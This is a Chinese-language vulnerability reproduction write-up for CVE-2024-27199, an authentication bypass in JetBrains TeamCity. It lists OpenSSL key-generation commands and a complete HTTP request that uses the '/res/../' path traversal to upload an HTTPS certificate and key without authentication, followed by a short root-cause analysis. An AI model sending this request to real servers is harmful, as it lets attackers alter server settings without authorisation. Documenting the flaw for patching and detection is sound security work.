CVE-2024-27199 JetBrains TeamCity 身份验证绕过漏洞2

漏洞简介

TeamCity Web 服务器中发现了第二个身份验证绕过漏洞。这种身份验证旁路允许在没有身份验证的情况下访问有限数量的经过身份验证的端点。未经身份验证的攻击者可以利用此漏洞修改服务器上有限数量的系统设置，并泄露服务器上有限数量的敏感信息。

项目官网下载地址Other Versions - TeamCity

参考链接：

• NVD - CVE-2024-27199
• CVE-2024-27198 and CVE-2024-27199: JetBrains TeamCity Multiple Authentication Bypass Vulnerabilities (FIXED) | Rapid7 Blog

影响版本

< 2023.11.4

漏洞复现

1，服务信息泄露

2.HTTPS 证书上传

使用 OpenSSL 生成和处理 ECDSA 密钥对和证书

openssl ecparam -name prime256v1 -genkey -noout -out private-eckey.pem
openssl ec -in private-eckey.pem -pubout -out public-key.pem
openssl req -new -x509 -key private-eckey.pem -out cert.pem -days 360
openssl pkcs8 -topk8 -nocrypt -in private-eckey.pem -out hax.key

运行上面的命令生成如下文件

构造如下包，上传HTTPS 证书并设定8443端口

POST /res/../app/https/settings/uploadCertificate HTTP/1.1
Host: 192.168.116.128:8111
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4d5hF7eNFFbgJoAC
Content-Length: 1576
 
------WebKitFormBoundary4d5hF7eNFFbgJoAC
Content-Disposition: form-data; name="certificate"; filename="cert.pem"
Content-Type: application/octet-stream
 
-----BEGIN CERTIFICATE-----
MIICYjCCAgegAwIBAgIUFHRabDe2dTOHNe8at5fDfsigDJwwCgYIKoZIzj0EAwIw
gYUxCzAJBgNVBAYTAmNuMQswCQYDVQQIDAJobjENMAsGA1UEBwwEbmFtZTEQMA4G
A1UECgwHY29tcGFueTESMBAGA1UECwwJdW5pdCBuYW1lMRQwEgYDVQQDDAtjb21t
b24tbmFtZTEeMBwGCSqGSIb3DQEJARYPYWRtaW5AYWRtaW4uY29tMB4XDTI0MDMx
MTA3NTQwN1oXDTI1MDMwNjA3NTQwN1owgYUxCzAJBgNVBAYTAmNuMQswCQYDVQQI
DAJobjENMAsGA1UEBwwEbmFtZTEQMA4GA1UECgwHY29tcGFueTESMBAGA1UECwwJ
dW5pdCBuYW1lMRQwEgYDVQQDDAtjb21tb24tbmFtZTEeMBwGCSqGSIb3DQEJARYP
YWRtaW5AYWRtaW4uY29tMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAEMJ6RI0Xj
dm72v2AjYl0SGBPAC/TqXHbdSyJSzqDmsH1Du/M8vlBkO1QYnNbcuiqnvEHnfea4
WlDf5a1XnSQBB6NTMFEwHQYDVR0OBBYEFIP5qYGpT7CujDvYGCNtsCiycOmdMB8G
A1UdIwQYMBaAFIP5qYGpT7CujDvYGCNtsCiycOmdMA8GA1UdEwEB/wQFMAMBAf8w
CgYIKoZIzj0EAwIDSQAwRgIhAMcfVmbn711/5hOhnryKro9XH5m77DK/vmBvR0mk
SIYVAiEApXhoDMQiv/0NVbZrOyW+c6oMSlg3CuKtAj6Sd5hxWR0=
-----END CERTIFICATE-----
 
------WebKitFormBoundary4d5hF7eNFFbgJoAC
Content-Disposition: form-data; name="key"; filename="hax.key"
Content-Type: application/octet-stream
 
-----BEGIN PRIVATE KEY-----
MIGHAgEAMBMGByqGSM49AgEGCCqGSM49AwEHBG0wawIBAQQgflqLec/N8uvpqGUK
Z7sGvs81dBDffRUw+ufigYq016ChRANCAAQwnpEjReN2bva/YCNiXRIYE8AL9Opc
dt1LIlLOoOawfUO78zy+UGQ7VBic1ty6Kqe8Qed95rhaUN/lrVedJAEH
-----END PRIVATE KEY-----
 
------WebKitFormBoundary4d5hF7eNFFbgJoAC
Content-Disposition: form-data; name="port"
 
8443
------WebKitFormBoundary4d5hF7eNFFbgJoAC--
 

后台验证下证书是否上传

或者直接访问https://192.168.116.128:8443/

漏洞分析

产生漏洞的原因是该系统采用了spring框架，该框架在处理url时遇到url中的../会自行解析再次拼接，这可能会产生某些某些判断机制绕过的现象。其中/res/下的路径不需要认证就可以被服务器去请求，有如下定义

/app/https/settings/**有如下定义